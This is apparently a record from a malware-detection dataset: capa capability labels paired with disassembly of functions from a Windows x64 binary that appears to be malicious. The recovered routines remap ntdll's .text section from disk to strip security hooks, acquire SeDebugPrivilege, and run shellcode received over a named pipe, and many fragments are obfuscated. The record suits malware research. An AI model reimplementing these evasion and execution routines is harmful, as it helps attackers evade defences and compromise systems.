joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002078
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
test rcx, rcx
je 0x14000228a
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x270
mov rbx, rcx
lea rdx, [0x140003470]
lea rcx, [rsp + 0x60]
xor r13d, r13d
call qword [sym.imp.SHLWAPI.dll_StrCpyW]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call qword [sym.imp.SHLWAPI.dll_StrCatW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r14, rax
test rax, rax
je 0x140002270
lea edi, [r13 + 0x18]
lea rax, [rsp + 0x40]
mov edx, edi
mov qword [rsp + 0x2b8], rax
lea ebx, [rdi - 0x17]
mov rcx, qword [rsp + 0x2b8]
mov byte [rcx], r13b
mov rcx, qword [rsp + 0x2b8]
add rcx, rbx
mov qword [rsp + 0x2b8], rcx
sub rdx, rbx
jne 0x1400020e9
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, edi
lea r8, [rsp + 0x40]
mov rcx, rax
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
test eax, eax
je 0x140002267
mov qword [rsp + 0x30], r13
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x28], r13d
xor r9d, r9d
mov r8d, ebx
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140002267
mov qword [rsp + 0x28], r13
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r13d
mov r8d, 0x1000002
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rbp, rax
test rax, rax
je 0x14000225e
xor r9d, r9d
mov qword [rsp + 0x20], r13
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r15, rax
test rax, rax
je 0x140002255
mov rcx, qword [rsp + 0x40]
movzx edi, r13w
movsxd rbx, dword [rcx + 0x3c]
add rbx, rcx
cmp r13w, word [rbx + 6]
jae 0x140002255
movzx ecx, word [rbx + 0x14]
add rcx, rbx
movzx eax, di
lea rdx, [rax + rax*4]
lea r12, [rcx + rdx*8]
lea rcx, [r12 + 0x18]
lea rdx, str..text
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1400021ff
inc di
cmp di, word [rbx + 6]
jb 0x1400021cc
jmp 0x140002255
mov edi, dword [r12 + 0x24]
lea r9, [rsp + 0x2b0]
add rdi, qword [rsp + 0x40]
mov r8d, 0x40
mov ebx, dword [r12 + 0x20]
mov rcx, rdi
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [r12 + 0x24]
mov r8d, ebx
add rdx, r15
mov rcx, rdi
call fcn.1400018b8
mov r8d, dword [rsp + 0x2b0]
lea r9, [rsp + 0x2b0]
mov rcx, rdi
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, rbp
Function at 0x140002328
Capabilities:
Acquire debug privileges
Extract resource via kernel32 functions
Set registry value

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x90]
sub rsp, 0x190
lea rcx, str.ntdll.dll
call fcn.140002078
mov edx, 0x11c
lea rax, [rsp + 0x70]
mov ecx, edx
mov qword [rbp + 0xc0], rax
xor edi, edi
mov rax, qword [rbp + 0xc0]
mov byte [rax], dil
mov rax, qword [rbp + 0xc0]
inc rax
mov qword [rbp + 0xc0], rax
sub rcx, 1
jne 0x14000235c
mov dword [rsp + 0x70], edx
mov r8b, 3
lea edx, [rcx + 2]
mov qword [rsp + 0x74], 0xa
mov word [rbp + 0x84], di
call qword [sym.imp.ntdll.dll_VerSetConditionMask]
mov r8b, 3
mov edx, 1
mov rcx, rax
call qword [sym.imp.ntdll.dll_VerSetConditionMask]
mov r8b, 3
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ntdll.dll_VerSetConditionMask]
mov edx, 0x23
lea rcx, [rsp + 0x70]
mov r8, rax
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
lea rcx, str.kernel32.dll
call fcn.140002078
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x410
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140002486
lea r8, [rbp + 0xc8]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000247d
lea r8, [rbp + 0xb0]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege

Function at 0x140002c18
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov dword [rax + 8], ecx
push rdi
sub rsp, 0x40
and qword [rax - 0x18], 0
lea rcx, str..pipedialercontrol_redirect64
and dword [rax - 0x20], 0
mov edi, r8d
mov rsi, rdx
mov dword [rax - 0x28], 3
xor r8d, r8d
mov edx, 0xc0000000
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002cad
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov r8d, 4
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test rsi, rsi
je 0x140002ca4
test edi, edi
je 0x140002ca4
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x140008040
Capabilities:
Connect pipe
Encode data using base64
Enumerate process modules
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
call fcn.14006cb1f
mov qword [rsp + 0x28], rcx
xor word [rsp + 0x18], 0x9936
lea r15, [r15 + r15*8 - 0x73ca7d4a]
setge r15b
jg 0x140008040
Function at 0x140008180
Capabilities:
Connect pipe
Encode data using base64
Enumerate process modules
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
add qword [rsp + rsi - 0x160cec9e], 0xffffffffbff49579
push rbp
push rsi
push r8
xchg qword [rsp + rsi - 0x160cec36], rax
mov r9, qword [rsp + rsi - 0x160cec3e]
sub si, word [rsp + 0x35]
jg 0x1400cc537
and byte [rsp + 8], dil
xor byte [rsp + rsi - 0x160c7546], 0x35
jl 0x1400550b6
mov rdi, qword [rsp + 0x40]
call fcn.14009d5cd
shr r15w, 0x4d
mov r15, qword [rsp + 0x70]
call fcn.14004ce8b
jo 0x140008180
call fcn.14005a94c
jp 0x14008d062
lodsd eax, dword [rsi]
cdq
loope 0x14008d0b2
sal dword [rdx - 0x45], cl
sub al, 0x4b
invalid
test dil, dil
not dword [rsp + 0x70]
mov r15, qword [rsp + 0x48]
mov rsi, qword [rsp + rsi*2 + 0x30]
lea rsp, [rsp + 0x58]
ret 0x18

Function at 0x1400081be
Capabilities:
Enumerate process modules
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
shr word [rsp + rcx - 0x4fbc929c], cl
neg rcx
shr ecx, cl
add qword [rsp + rcx*4 - 0x2bd0], 0x594d8
lea rsi, [rsi + rcx - 0x69f718db]
sub qword [rsp + 0x10], 0x70c6b09
shr word [rsp + rcx - 0xaf4], 0xc8
jne 0x1400d05a6

Function at 0x140008206
Capabilities:
Enumerate process modules
Resolve function by parsing pe exports

Disassembly:
shr ebp, 0x76
cmp ebp, 0x1db3231e
mov word [rsp + 0x30], 0xfeb5
jbe 0x14008f02d
mov qword [rsp + rbp - 0x21e], rbp
sub r10, rbp
lea rdx, [rdx - 0x3850e051]
call fcn.1400216d3
add dword [rdi], ebx
or eax, 0x30641f00
add byte [rdi], bl
push rsp
invalid

Function at 0x1400086bd
Capabilities:
Enumerate process modules
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
js 0x14007b425
sub cl, ch
jae 0x140054caa
mov rcx, qword [rsp + 0x10]
mov rcx, qword [rcx]
mov qword [rsp + 0x10], r15
cmp r15w, 0x818a
push r14
call fcn.1400cb098

Function at 0x14000ca64
Capabilities:
Enumerate process modules
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
mov word [rsp + r9*8 - 0xa8], 0x8d34
ja 0x140015cc3
mov r9, qword [rsp + rcx*2 - 0xfeca]
and word [rsp + rcx*4 - 0x1fd74], 0x68bc
shr dword [rsp + rcx*2 - 0xfe8a], cl
mov r11, rcx
sub word [rsp + r11*8 - 0x3fb48], 0xbdbb
and byte [rsp + rcx*4 - 0x1fd74], 0x3c

Function at 0x14000f2d9
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x38], rsi
xchg qword [rsp + r10 - 0xf2b5a5], rax
mov r10, qword [rsp + 0x30]
ja 0x14007cfcc
not dword [rsp + 0x38]
and qword [rsp + 0x38], rsi
test word [rsp + 0x38], 0xb8b0
Function at 0x1400100c0
Capabilities:
Enumerate process modules
Resolve function by parsing pe exports

Disassembly:
cmp bl, 0x94
push r14
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rcx]
movabs r14, 0x258f008006bae728
mov qword [rsp + 0x30], rbx
jno fcn.14002f2ae
not r14d
push r9
lea rcx, [rcx + 0x4a9e0c9c]
xor r14, 0x5119761b
or dword [rsp + 0x38], r14d
call fcn.1400548bb

Function at 0x140010d45
Capabilities:
Execute shellcode via indirect call

Disassembly:
mov r14, rbx
movsx edi, word [rsp + 0x14]
setne bl
cmp r14, 0x5b933d27
movzx r14d, byte [rsp + rbx + 0x11]
mov r14, qword [rsp + rbx + 0x27]
jno 0x1400a1028
call 0x140098507

Function at 0x140011781
Capabilities:
Delete registry value

Disassembly:
jle 0x1400625f9
xchg qword [rsp + rcx*2 - 0x7efff756], rsi
mov rbp, qword [rsp + 0x40]
jg 0x14006d4b7
and r12w, word [rsp + 0x4e]
or edx, 0x6cb0b826
mov r15, qword [rsp + rcx - 0x3f7ffb97]
sub edx, dword [rsp + 0x2a]
mov rcx, qword [rsp + r15 - 0x7faffde8]
mov r14, qword [rsp + 8]
setl r12b
shr r15, 0xb8
and r14, qword [rsp + 0x28]
shr r14w, 0xc4
shr byte [rsp + r15*2 + 0x28], 0x6e
mov rdx, qword [rsp + 0x38]
not qword [rsp + 0x48]
call fcn.14006ff07
sub esi, dword [rax + 0x55aa0997]
xchg ch, dh
mov al, 0xe5
add dword [rsi], eax
add al, byte [rax]
invalid

Function at 0x140011bb0
Capabilities:
Enumerate process modules
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
not sil
mov r8, qword [rsp + 0x40]
jg fcn.140011b0e
xor word [rsp + 0x70], 0x3f1e
not sil
sub dword [rsp + 0x70], 0xc8c5db6
not sil
mov rsi, qword [rsp + 0x38]
call fcn.1400a6cd6
or ebp, edx
sbb byte [rax], 0x24
mov cl, 0x3b
lea rbp, [rbp + 1]
lea rbp, [rbp + 1]
push rbx
movabs rdx, 0xe931c202b72298ad
push rsi
sets dl
movabs rsi, 0xd7840d9169316687
mov qword [rsp + 0x48], rbp
mov rbx, rsi
je 0x1400c4547

Function at 0x140015256
Capabilities:
Create pipe

Disassembly:
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
je 0x140001d9c
mov r8, qword [rbp - 9]
xor r9d, r9d
mov rcx, rbx
lea edx, [r9 + 1]
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
test eax, eax
je 0x140001d9c
lea rax, [rbp - 1]
mov dword [rbp - 1], 0x18
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov eax, 0x400
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], eax
mov r9d, 0xff
mov rcx, rdi
mov dword [rsp + 0x20], eax
lea edx, [r8 + 3]
mov qword [rbp + 7], rbx
mov dword [rbp + 0xf], esi
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
jmp 0x140001da0
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0xd0]
add rsp, 0xb0
pop rdi
pop rsi
pop rbp
ret
xor eax, dword [rax - 0x6b]
lahf
mov rdx, qword [rdx]
xor r8b, 0x9b
xor r8, 0x2e304209
not r8b
js 0x140001d3a
call fcn.140059be0
mov qword [rsp + 0x18], 0x7e129cbd
lea rsp, [rsp + 0x18]
call fcn.1400eb236
movabs eax, dword [0x24dbccccccfa4e48]
mov esp, 0xf5255e95
loope 0x140015236
and byte [r8 - 0x58], al
xor al, 0xc9
pop rsi
leave
in eax, dx
or al, 0x53
stosd dword [rdi], eax
sbb edx, dword [rdx + 0x2e]
push rdx
ret 0x7083
Function at 0x140015460
Capabilities:
Execute shellcode via indirect call

Disassembly:
jg 0x140052046
sbb edi, dword [rbp - 0x34]
int3
mov rbp, r9
mov rbp, qword [rsp + 0x30]
mov rbp, qword [rbp + riz]
shr word [rsp + 0x10], 0x7b
neg r9d
jle 0x14007ae0a
ja 0x140099796
shr r9w, 0x67
sub r9b, byte [rsp + r9 - 0x61040082]
lea rbp, [rbp + r9*2 - 0x7ae52836]
lea r9, [r9 + r9 - 0x1afdcde5]
call fcn.1400856c2

Function at 0x1400168a4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
lea rdi, [rdi + r12*2 - 0x20a94979]
mov qword [rsp + r12*2 - 0x1c5ae5b6], r12
movzx r12, word [rsp + 0x48]
shl r12, 0x8d
jbe 0x1400bd1a4
push rcx
mov rcx, r12
xchg qword [rsp + r12 - 0xe5fdfa8], rdi
mov r13, qword [rsp + r12 - 0xe5fdfd0]
shl cl, 0x74
test word [rsp + rcx - 0xe5fdfb0], 0x6baf
seto byte [rsp + r12 - 0xe5fdfb0]
sub r12, 0xffffffff8f1a151c
shl ecx, 0xad
setb cl
pop rcx
mov r12, qword [rsp + r12 - 0x7f45caac]
sub dword [rsp + 0x48], 0xb682a1a4
je 0x14006a6b6
setno byte [rsp + 0x48]
not dword [rsp + 0x48]
push qword [rsp + 0x30]
popfq
lea rsp, [rsp + 0x50]
ret
neg r11b
cmp r8b, 0x1a
movsx r8w, r11b
call fcn.140061ac6
Function at 0x14001c9f0
Capabilities:
Connect pipe
Encode data using base64

Disassembly:
jae 0x1400d4818
mov rcx, rbx
neg bl
xchg qword [rsp + rcx*2 + 0x2c927238], rsi
mov rcx, qword [rsp + rbx + 0x16493918]
and bl, 0x3d
add rbx, qword [rsp + rbx*2 + 0x2c927230]
cmovbe bx, word [rsp + rbx*2 + 0x5924e433]
neg bx
mov rbx, qword [rsp + rbx*2 + 0x5925fff2]
shl word [rsp + 0x30], 0x85
jbe 0x1400990b8
jne 0x14001c9f0
shl r11d, 9
or r11, r11
call fcn.14004b852
add eax, 0x838e360
sub al, 0xe4
invalid
call fcn.1400caf7a
mov rsi, qword [rsp + 0x48]
not word [rsp + r14 - 0x522bd189]
not byte [rsp + r14 - 0x522bd149]
setl r9b
mov rdi, r9
jne 0x14005e5cc
jl 0x140021c2f
mov rcx, qword [rcx]
js 0x140068361
push r10
lea rcx, [rcx - 0x79eff8c8]
jg 0x1400cc61d
call fcn.1400babd5
push r9
push rdi
movabs rdi, 0x1b50633cdaa2c1e
add r13b, 0xa7
shr di, 0xc
mov rax, qword [rsp + 0x10]
mov rax, qword [rax]
mov r9, r13
lea r13, [r13 + r13*4 + 0x3147fb7]
mov qword [rsp + 0x10], r9
movzx rdi, r13b
shr word [rsp + 0x30], 0x85
add qword [rsp], 0xffffffffbff6ac39
xor qword [rsp + 0x30], 0x4f87a431
push qword [rsp + 0x28]
popfq
lea rsp, [rsp + 0x38]
ret

Function at 0x14001d2bd
Capabilities:
Enumerate process modules
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
push rdx
pushfq
movabs rdx, 0x8b01eb06d320e126
neg edx
add qword [rsp + rdx - 0x2cdf1ec2], 0xffffffffbff117f2
mov qword [rsp + 0x18], 0xed09fbd
mov rdx, qword [rsp + rdx - 0x2cdf1ed2]
call fcn.1400ae52c

Function at 0x14001d341
Capabilities:
Enumerate process modules
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
not byte [rsp + rcx - 0x7f1f1b80]
test qword [rsp + rcx - 0x7f1f1b80], 0xffffffff9f1b599e
mov qword [rsp + rcx - 0x7f1f1b78], rcx
jl 0x140098f58
jno 0x140092e40
or word [rsp + 0x18], 0xb228
jo 0x140007461
and qword [rsp + 0x18], 0xffffffff9b3e4b9a
shr dword [rsp + rcx - 0x7f1f1b78], cl
xchg qword [rsp + rcx - 0x7f1f1b48], rax
mov rcx, qword [rsp + rcx - 0x7f1f1b68]
or qword [rsp + 0x20], 0xffffffffb8a9cc32
js 0x14002fd00
xchg qword [rsp + 0x50], rbp
mov r15, qword [rsp + 0x18]
lea rsi, [r14*4 + 0x71ab1ea2]
jl 0x1400b21bf
cmp r14b, sil
mov qword [rsp + 0x20], 0x41aa7b3c
mov r14, qword [rsp + 0x38]
call fcn.1400cd392
add qword [rsp + 0x20], 0xfffffffffffa0add
sub r9b, r9b
neg r9d
movzx ebp, r9w
test r15w, 0x3eb7
mov rax, qword [rsp + 0x38]
mov rax, qword [rax]
call fcn.1400aaf12
pop rax
pushfq
push r11
push r8
call fcn.1400b225c
push qword [rsp + 0x30]
popfq
lea rsp, [rsp + 0x38]
ret

Function at 0x14001d368
Capabilities:
Enumerate process modules
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
shr dx, 0x29
mov rdx, qword [rsp + rdx*4 + 0x60]
bswap rcx
call fcn.140098f3b
Function at 0x14001d5c0
Capabilities:
Connect pipe
Read file on windows

Disassembly:
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x1400022fd
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, 4
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140002308
cmp dword [rsp + 0x48], 4
jne 0x140002308
mov ecx, dword [rsp + 0x50]
mov rdx, rbx
call rdi
jmp 0x140002308
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
jmp 0x1400022b9
ja 0x1400022be
lea rdx, [r12 + r12*2 + 0x1a82b228]
mov r8, qword [rsp + 0x20]
bswap rdx
je 0x1400dd4b8
or dx, 0x449f
movzx rdx, byte [rsp + r12 - 0xfec8]
call fcn.14008a169

Function at 0x14001da3e
Capabilities:
Enumerate process modules
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
lea rdx, [rdx + r9*4 - 0x71767051]
not r9d
jne 0x1400c9d3c
push qword [rsp + 8]
mov r9d, dword [rsp + 0x41]
mov qword [rsp + 0x20], rbp
je 0x1400caf85
lea rax, [rax + 0x8042724]
shl r14, 0x10
shr r9, 0xa0
sub bp, bp
mov r14d, ebx
sub byte [rsp + 0x40], 0xb5
sets bpl
jl 0x1400cef28
movzx rbx, byte [rsp + 0x20]

Function at 0x14001e34e
Capabilities:
Enumerate process modules
Resolve function by parsing pe exports

Disassembly:
mov r13, qword [rsp + r13*2 - 0x44]
shl word [rsp + 0x28], 0xd9
mov word [rsp + 0x38], 0xf7b2
call fcn.14007c8cb
mov r10, qword [rsp + r10 + 0x20]
movsx r13d, word [rsp + r13 + 0x2a]
or r13w, 0xd11d
shr r13, 0x9e
ja 0x1400af77d
mov r13b, 0x2e
cmp dword [rsp + r13 + 0xa], 0x1d0916a7
ja 0x140007aef
ja 0x140016960
syscall
push rdi
pushfq
movabs rdi, 0x1c89973a3490ac39
test dil, 0xb5
mov rdi, qword [rsp + 8]
mov qword [rsp + 8], 0xffffffffdd2695bd
push qword [rsp]
popfq
lea rsp, [rsp + 8]
call fcn.1400eb236

Function at 0x14001ebb0
Capabilities:
Connect pipe
Encode data using base64
Enumerate process modules
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
movabs rsi, 0x7415fb0fb016f9b1
jae 0x14006ba32
shl sil, 0x2b
mov esi, 0x2e2dacb5
lea rcx, [rcx + rsi - 0x2e2dacb4]
jns 0x14009aa27
jbe 0x14001ebb0

Function at 0x14002f600
Capabilities:
Authenticate hmac
Connect pipe
Encode data using base64
Enumerate process modules
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
js fcn.1400d7c70
mov rbp, qword [rsp + rbp - 0x3e01ffe0]
add qword [rsp + r8*2 - 0x7c03ffd8], 0xffffffffbff58f55
test r8, r8
movzx r8w, byte [rsp + r8 - 0x3e01ffc8]
jne 0x14005c5ca
int3
mov r8, rbp
test dword [rsp + rbp - 0x3e01ffb8], 0x13a3902c
jae 0x14002f600
je 0x1400520d7
push 0xffffffff95a8bc70
jmp 0x140052104
stc
rcl dword [rbp - 0x298e2d8b]
loop 0x14005213e
invalid
invalid
invalid
shl r8, 0x99
call fcn.14007b1ae

Function at 0x14002f680
Capabilities:
Connect pipe
Encode data using base64
Enumerate process modules
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
je 0x1400eec74
push rbx
jns 0x1400dd432
movabs r15, 0xa8b4ec17719bab86
shr r15, 0xf
call fcn.14002f680
invalid
Function at 0x14004abfd
Capabilities:
Encrypt data using speck
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
neg dil
mov rdi, qword [rsp + 8]
mov rdi, qword [rdi + r10 - 0xf174]
sub ebp, 0x771e1fa5
shl r9, 0xb1
not r10b
mov qword [rsp + 8], r9
call fcn.14005f6d7

Function at 0x14004ac24
Capabilities:
Enumerate process modules
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
and word [rsp + rsi - 0x7e5c0742], 0x88b3
lea rdi, [rdi + 0x91a6c9b]
push 0x5a9abe0e
cmp dword [rsp + 0x28], ebx
cmovns esi, dword [rsp + 0x2a]
and rsi, rdx
sub qword [rsp], 0x43bfe70e
add qword [rsp + 8], 0xffffffffbff518d2
xchg qword [rsp + 0x58], rdi
mov rbx, qword [rsp + 0x30]
xor word [rsp], 0xa88d
shl byte [rsp], 0x1d
lea rsi, [rsi*8 - 0x43ecff63]
not qword [rsp + 0x28]
sets byte [rsp]
mov rsi, qword [rsp + 0x48]
or dword [rsp], 0x85217422

Function at 0x14004ad26
Capabilities:
Delete registry value

Disassembly:
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
call fcn.140001ac4
call fcn.140001768
call entry0
or ecx, 0xffffffff
call fcn.1400017f8
jmp fcn.140002c00
add qword [rsp], 0xfffffffffffe2621
movabs r14, 0x6c9b70973907bc30
movsx r14d, sil
xor r14w, si
jge 0x1400625d1
or r15b, 0x2e
push r13
lea r15, [r12 + r15*2 + 0x212b9832]
xchg qword [rsp + r12*2 - 0x224], rax
mov r15, qword [rsp + r12*8 - 0x938]
jb 0x140094a76
not r10
shr r10d, 0xd6
cmp r12b, 0xb2
call fcn.1400e41d3
mov qword [rsp + 0x38], 0xffffffffb3220b1b
sub byte [rsp + 0x38], 0x14
xor qword [rsp + 0x38], 0xffffffffda00e50f
not byte [rsp + 0x38]
neg qword [rsp + 0x38]
push qword [rsp + 0x48]
popfq
lea rsp, [rsp + 0x50]
ret
test dil, 0x91
call fcn.14000aed8
xchg qword [rsp + 0x70], rdi
mov r10, qword [rsp + 0x20]
add qword [rsp + 0x10], 0xffffffffffff508e
or si, r9w
lea r9, [rdx + riz - 0x5ef795d0]
not sil
js 0x1400c69ed
add qword [rsp + 8], 0xffffffffbff4d8ed
cmp qword [rsp + 0x20], 0xfffffffff316761b
mov r10, qword [rsp + 0x10]
call fcn.1400a2e7f
or dword [rsp + 0x18], 0xee8b1e04
push rdi
mov qword [rsp + 0x20], rdi
push rbp
movabs r10, 0x1fadf485a785b5bc
movabs rdi, 0x1517952111a29422
test rdi, 0x692adb9b
mov di, 0xc090
add qword [rsp + 0x18], 0x28175
call fcn.1400118f3
movzx r14w, byte [rsp + r14 - 0x196b3ff6]
movabs rdi, 0x883829a73d9c05bf
mov r12, qword [rsp + r14 - 0x196b008c]
call fcn.1400d7908
leave
adc dword [rbx], ebp
or eax, 0x1e642b00
add byte [rdi], ah
push rsp
sbb eax, 0x1c342300
add byte [rbx], dl
add dword [rsi], edx
add byte [rax + rsi*8], cl
or ah, al
or al, dl
invalid
jns 0x14000281f
jb 0x1400dee29
cmp sil, r9b
mov rsi, qword [rsp + 0x38]
call fcn.140062a15
lea rdi, [rdi + rcx - 0x77fcd9f9]
and word [rsp + 0x18], cx
push r15
sub ecx, 0x1e8d7bab
mov r15, r10
xor cl, byte [rsp + 0x24]
xchg qword [rsp + 0x40], rdi
mov rcx, qword [rsp + 0x18]
seto r15b
shl byte [rsp + 0x20], 0x7a
je 0x140083cf5

Function at 0x14004b5ef
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub byte [rsp + 0x40], 0xa2
xor r15w, word [rsp + 0x45]
xchg qword [rsp + 0x48], rsi
mov r12, qword [rsp + 0x28]
jbe 0x14008aa66
or dword [rsp + 0x40], 0xcab57128
Function at 0x14004b9e3
Capabilities:
Encrypt data using speck
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
js 0x140060bd3
mov rdi, qword [rsp + rdi - 0xa7]
call fcn.140024928
shl qword [rsp + 0x30], 0x78
add qword [rsp + 8], 0xffffffffbffe4a3d
mov r14, rdx
mov r14, qword [rsp]
call fcn.1400da48b
jae 0x1400dc93e
and dword [rsp + 0x28], 0x6a230d03
call fcn.140091521

Function at 0x14004b9e9
Capabilities:
Encrypt data using speck
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], r11
ja 0x140078c4d
add qword [rsp + 0x18], 0x163bc
movabs rbp, 0xddbb3e2b3da91c81
shl r14b, 0xb
mov rsi, rbx
add qword [rsp], 0xffffffffbff1bc83
shr r14b, 0xb2
cmp ebx, 0x2a8450a3
setbe r14b
mov rbp, qword [rsp + 0x18]
mov rbp, qword [rbp + riz]
cmp sil, bl
mov qword [rsp + 0x18], r14
je 0x140071524
pushfq
shr bpl, 0xe2
mov rbp, qword [rsp + 0x18]
mov qword [rsp + 8], 0x4289ca9f
or qword [rsp + 8], 0xffffffff9b3daab4
xor dword [rsp + 8], 0xf6963db9
add dword [rsp + 8], 0x1a128526
sub word [rsp + 8], 0xa78b
sub word [rsp + 8], 0xc884
lea rbp, [rbp + 1]
cmp byte [rsp + 8], 0x83
not dword [rsp + 8]
mov qword [rsp + 0x18], rbp
not qword [rsp + 8]
call fcn.140062a3d
jae 0x1400dc417
mov edx, dword [rsp + rbp + 0x3e9feea8]
rcr dword [rsi + 0x72], 1
outsb dx, byte [rsi]
scasb al, byte [rdi]
invalid
push r13
add rdx, qword [rsp + 0x20]
jbe 0x14005ed70
lea rbp, [rbp - 0x4b47ebe7]
call fcn.1400609a0
or dword [rsp + 0x10], r11d
xchg qword [rsp + 0x28], rax
mov r12, qword [rsp + 8]
call fcn.140084bab
lea rax, [rax - 0x706eae78]
ja 0x140007b38

Function at 0x14004ba7f
Capabilities:
Enumerate process modules
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
adc byte [rdx], bh
cld
mov dl, 6
movsd dword [rdi], dword [rsi]
lea eax, [rcx + 0x51]
mov r9, rbx
mov bx, r9w
push r15
mov rbx, qword [rsp + 0x28]
mov rbx, qword [rbx]
xor r9d, 0x9a377825
mov qword [rsp + r9 - 0x660d6806], r9
ja 0x1400a254c
pop rdx
cmp al, 0x66
jrcxz 0x140012f59
int3
shl dword [rsp], 0x9f
shr dword [rsp], 0xc7
js 0x140012f73
xor dword [rsp + 0x28], 0x4638a811
shr qword [rsp + 0x38], 0x7c
and qword [rsp + 0x38], rdx
mov rdx, qword [rsp + 0x40]
jbe 0x1400d60b4
pop rsi
call fcn.14001d7e0
jle 0x1400b2039
setl byte [rsp + 0x50]
shl dword [rsp + 0x40], 0x5d
push qword [rsp + 0x48]
popfq
lea rsp, [rsp + 0x58]
ret
lea rcx, [rcx - 0x6d7372e2]
test r15, r15
call fcn.140058aa8
ja 0x1400580bb
pop rbp
push r8
push rdx
movabs rdx, 0x9ca6fea4b53f1fa1
pushfq
movabs r8, 0x8584b02e74b1ad2d
shr r8, 0xcc
shr bpl, 0x88
jne 0x14004ba79
mov rdx, qword [rsp + 0x20]
mov qword [rsp + 0x20], rbx
jne 0x14005f546
neg bp
and ebp, 0xa48ca528
shl bp, 0xe1
lea rbp, [rbp + rbp*8 + 0x793824a3]
push r11
nop
ja 0x14004ac8d
call fcn.14004ce76